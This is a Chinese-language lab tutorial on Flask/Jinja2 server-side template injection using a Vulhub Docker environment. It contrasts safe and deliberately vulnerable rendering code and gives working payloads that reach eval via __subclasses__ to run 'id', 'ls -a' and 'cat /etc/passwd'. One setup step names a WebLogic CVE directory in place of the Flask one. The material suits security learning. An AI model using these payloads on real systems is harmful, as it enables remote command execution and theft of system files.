目录
[一、FLASK SSTI模板注入](#一、FLASK SSTI模板注入)
[3、Flask 模板渲染基础](#3、Flask 模板渲染基础)
[1、确保系统已安装 Docker 和 Docker-Compose](#1、确保系统已安装 Docker 和 Docker-Compose)
[2、下载 Vulhub](#2、下载 Vulhub)
本文详细介绍了Flask SSTI服务器端模板注入安全风险及其利用过程。通过Vulhub搭建渗透环境,演示了通过构造恶意Payload获取系统权限、查看目录内容和读取/etc/passwd等敏感文件完整渗透流程。
一、FLASK SSTI模板注入
1、模板注入简介
Flask 作为 Python 主流 Web 框架,其模板渲染机制若使用不当,可能引入 服务器端模板注入(Server-Side Template Injection, SSTI) 安全风险。攻击者可通过注入恶意模板代码,执行服务器端命令、读取敏感文件甚至获取服务器控制权,危害极大。SSTI 发生在当攻击者能够将恶意模板代码注入到服务器端模板中,并且该代码被模板引擎执行时。
**2、**环境构成
-
Flask:Python Web 框架,处理请求和响应。
-
Jinja2 :Flask 默认的模板引擎,负责将模板文件(通常是
.html)中的动态部分替换为实际值。Jinja2 是核心。
**3、**Flask 模板渲染基础
Flask 默认使用 Jinja2 模板引擎,模板渲染有两种核心方式:
(1)安全方式
使用 render_template(template_name, **context),第一个参数为模板文件名 (需提前在 templates 目录中存在),后续参数为模板中使用的变量(用户输入仅作为 "数据" 传递,不参与模板解析)。
from flask import Flask, render_template_string, request
app = Flask(__name__)
@app.route('/safe')
def safe():
name = request.args.get('name', 'Guest')
# 模板是固定的,name是传入的参数(数据)
template = "<h1>Hello {{ user_name }}!</h1>"
return render_template_string(template, user_name=name)
-
原理 :模板内容
{``{ user_name }}是代码 (Jinja2 语法),它告诉引擎"此处插入变量"。而user_name=name中的name是数据。引擎将数据安全地渲染到代码指定的位置。 -
访问
/?name={``{7*7}}:输出Hello {``{7*7}}!。用户输入被始终当作数据处理。
(2)危险方式
使用 render_template_string(template_string, **context),第一个参数为模板字符串(直接接受字符串作为模板内容),若字符串中包含用户输入且未过滤,会导致输入被当作模板代码解析。
@app.route('/vulnerable')
def vulnerable():
name = request.args.get('name', 'Guest')
# 将用户输入(数据)拼接到模板字符串中(代码)
template = f"<h1>Hello {name}!</h1>" # 🚨 致命错误!
return render_template_string(template)
-
原理 :在模板渲染之前 ,Python 的 f-string 先将
name的值拼接 到了字符串里。Jinja2 拿到的是一个完整的字符串,它会解析并执行其中的所有语法。 -
访问
/?name={``{8*18}}:-
name = "{``{8*18}}" -
template = "<h1>Hello {``{8*18}}!</h1>"(拼接完成) -
Jinja2 渲染这个字符串,遇到
{``{8*18}},识别为表达式并执行。 -
输出
Hello 144!。用户输入被当作代码执行。
-
Jinja2 模板支持变量渲染(如 {``{ variable }})和逻辑控制(如 {% if %}),攻击者正是利用这一特性,注入包含 {``{ }} 或 {% %} 的恶意代码,触发代码执行。
**(3)**触发条件
Flask SSTI 注入成立需同时满足以下两个条件:
- 使用危险渲染函数 :代码中调用
render_template_string(或其他直接渲染字符串的方法),且模板字符串包含用户输入。 - 输入未过滤 :未对用户输入中的模板关键字(如
{``{、}}、{%、%})进行转义或过滤,导致恶意代码被模板引擎解析执行。
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
本文使用Vulhub复现Flask模板注入,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker
2、下载 Vulhub
将 Vulhub 项目克隆到本地,具体命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub
3、进入环境目录
Vulhub 已经准备好现成的渗透环境,我们只需进入对应目录并启动它。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。
cd weblogic
cd CVE-2020-14882

4、启动docker环境
在Flask/ssti目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。
docker-compose up -d
命令执行后,Docker 会完成拉取一个包含Flask ssti注入安全风险(受影响版本)的镜像。

5、查看环境状态
使用 docker ps 命令确认容器启动状态,说明由Vulhub 项目提供的ssti镜像),容器已正常运行 58 分钟,如下所示。
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
8e7866d5249e vulhub/flask:1.1.1 "/bin/sh -c 'gunicor..." 58 minutes ago Up 58 minutes 0.0.0.0:8000->8000/tcp, :::8000->8000/tcp ssti-web-1

-
容器ID :
8e7866d5249e(可以用前四位8e78来操作它) -
镜像 :
vulhub/flask:1.1.1(专为ssti模板注入复现准备的镜像) -
状态 : 已运行 58分钟 (环境稳定)
-
端口映射 : 宿主机的 8000 端口 映射到 容器的 8000 端口
-
访问地址 :
http://宿主机IP地址:8000或在宿主机直接访问http://127.0.0.1:8000
6、分析源码
进入到Dokcer环境内部,查看Flask对应的源代码,如下所示。

我们对这段存在严重SSTI风险的Flask源码进行注释,具体如下所示。
from flask import Flask, request
from jinja2 import Template # 直接导入Jinja2的Template类
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest') # 从URL参数获取name值,默认为'guest'
t = Template("Hello " + name) # 🚨 核心:字符串拼接
return t.render() # 🚨 触发:渲染拼接后的模板
if __name__ == "__main__":
app.run()
用户可控的输入 (name) 直接拼接到了模板字符串中,使得用户输入成为了模板结构的一部分,而Jinja2引擎的工作原理是解析并执行模板中的所有语法结构 。当引擎遇到 {``{ ... }}、{% ... %} 等语法时,会将其中的内容作为Python代码进行解析和执行。
URL: /?name={{8*18}}
代码: Template("Hello " + "{{8*18}}") → Template("Hello {{8*18}}")
渲染: Jinja2识别"{{8*18}}"为表达式并执行计算
输出: Hello 144 ❌ (确认安全风险!)
三、渗透实战
1、访问应用
Docker启动完成后,攻击者可以构造URL,访问应用首页,确认服务正常:
http://192.168.59.135:8000

2、信息搜集
信息搜集的关键通常在 / 路由,通过 name 参数传入,注入Payload:?name={{8*18}},完整的URL地址如下所示。
http://192.168.59.135:8000/?name={{8*18}}
如果存在模板注入安全风险,响应应该是计算后的结果 Hello 144!而不是原始的计算公式 **Hello {{818}}!***。

3、获取用户id
构造攻击Payload,在不依赖特定子类索引号的情况下,可靠地找到并调用 eval 函数来执行系统命令(获取id)。
?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
- 利用 Python 面向对象的继承特性(
__class__、__base__、__subclasses__)突破 Jinja2 模板的沙箱限制; - {% if 'eval' in b.keys() %}从内置类中寻找包含敏感函数(
eval)的模块全局变量; b['eval']:获取字典中的eval函数,通过eval执行系统命令,实现服务器端命令注入。'__import__("os").popen("id").read()':作为eval的参数,是一段 Python 代码:__import__("os"):导入os模块(用于执行系统命令).popen("id"):执行系统命令id(打开一个管道,执行命令).read():读取命令执行的结果
Payload的整体效果是通过 eval 执行上述代码,最终返回 id 命令的执行结果(如当前用户的 UID、GID 等信息),完整的注入URL如下所示。
192.168.59.135:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
攻击效果如下所示,这是Linux 系统中 id 命令的输出,用于展示当前进程(即 Flask 应用进程)的用户身份与权限信息。

从输出看,最危险的信息是 groups 中包含 root 组(GID=0),分析如下所示。
| 字段 | 具体值 | 含义 |
|---|---|---|
| uid(用户 ID) | uid=33(www-data) |
当前进程的用户身份 为 www-data,用户 ID(UID)为 33。 www-data 是 Linux 系统中默认的 Web 服务专用用户(如 Nginx、Apache、Flask 等 Web 应用通常以该用户运行,目的是通过 "最小权限原则" 限制 Web 服务的操作范围)。 |
| gid(主组 ID) | gid=33(www-data) |
当前进程的主用户组 为 www-data,组 ID(GID)为 33。 主组是用户默认所属的组,进程创建文件 / 目录时,默认会继承主组的权限。 |
| groups(附加组列表) | groups=33(www-data),0(root) |
当前进程所属的所有用户组 ,包含两部分: 1. 附加组 www-data(GID=33):与主组一致,是 Web 服务的常规组; 2. 附加组 root(GID=0):超级用户组 (Linux 中 GID=0 固定对应 root 组,属于最高权限组)。 |
4、查看当前目录
构造攻击Payload,在不依赖特定子类索引号的情况下,可靠地找到并调用 eval 函数来执行系统命令ls -a。
?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls -a").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
b['eval']:获取字典中的eval函数- 作为参数的字符串
'__import__("os").popen("ls -a").read()'是一段 Python 代码,功能拆解:__import__("os"):动态导入os模块(用于与操作系统交互).popen("ls -a"):通过os.popen()执行系统命令ls -a(ls -a用于列出当前目录下的所有文件,包括以.开头的隐藏文件).read():读取命令执行的输出结果
整个过程可分为 "寻找可利用对象" 和 "执行命令" 两个核心阶段。相对于上一个命令,区别就是将执行id命令改为执行ls -a命令,列出当前目录下的所有文件和隐藏文件,其URL地址如下所示。
http://192.168.59.135:8000/?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}%20%20{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}%20%20{%%20if%20b.__class__%20==%20{}.__class__%20%}%20%20%20%20{%%20if%20%27eval%27%20in%20b.keys()%20%}%20%20%20%20%20%20{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22ls%20-a%22).read()%27)%20}}%20%20%20%20{%%20endif%20%}%20%20{%%20endif%20%}%20%20{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}
通过 eval 函数执行上述PoC,最终将 ls -a 的执行结果返回给攻击者,执行结果如下所示。

5、查看/etc/passwd
构造攻击Payload,在不依赖特定子类索引号的情况下,可靠地找到并调用 eval 函数来执行系统命令查看/etc/passwd文件。
?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /etc/passwd").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
-
b['eval']:从字典b中取出eval函数。 -
调用
eval:执行传入的字符串参数。 -
参数分解:
-
__import__("os"):动态导入os模块(用于执行系统命令)。 -
.popen("cat /etc/passwd"):使用os模块的popen方法执行系统命令cat /etc/passwd。 -
.read():读取命令执行的结果。
-
整个过程可分为 "寻找可利用对象" 和 "执行命令" 两个核心阶段。相对于上一个命令,区别就是将执行ls -a命令改为执行cat /etc/passwd 命令,读取**/etc/passwd**文件,其URL地址如下所示。
http://192.168.59.135:8000/?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}%20%20{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}%20%20{%%20if%20b.__class__%20==%20{}.__class__%20%}%20%20%20%20{%%20if%20%27eval%27%20in%20b.keys()%20%}%20%20%20%20%20%20{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22cat%20/etc/passwd%22).read()%27)%20}}%20%20%20%20{%%20endif%20%}%20%20{%%20endif%20%}%20%20{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}
通过 eval 函数执行上述PoC,最终将**读取服务器上的敏感文件 /etc/passwd**的执行结果返回给攻击者,执行结果如下所示。
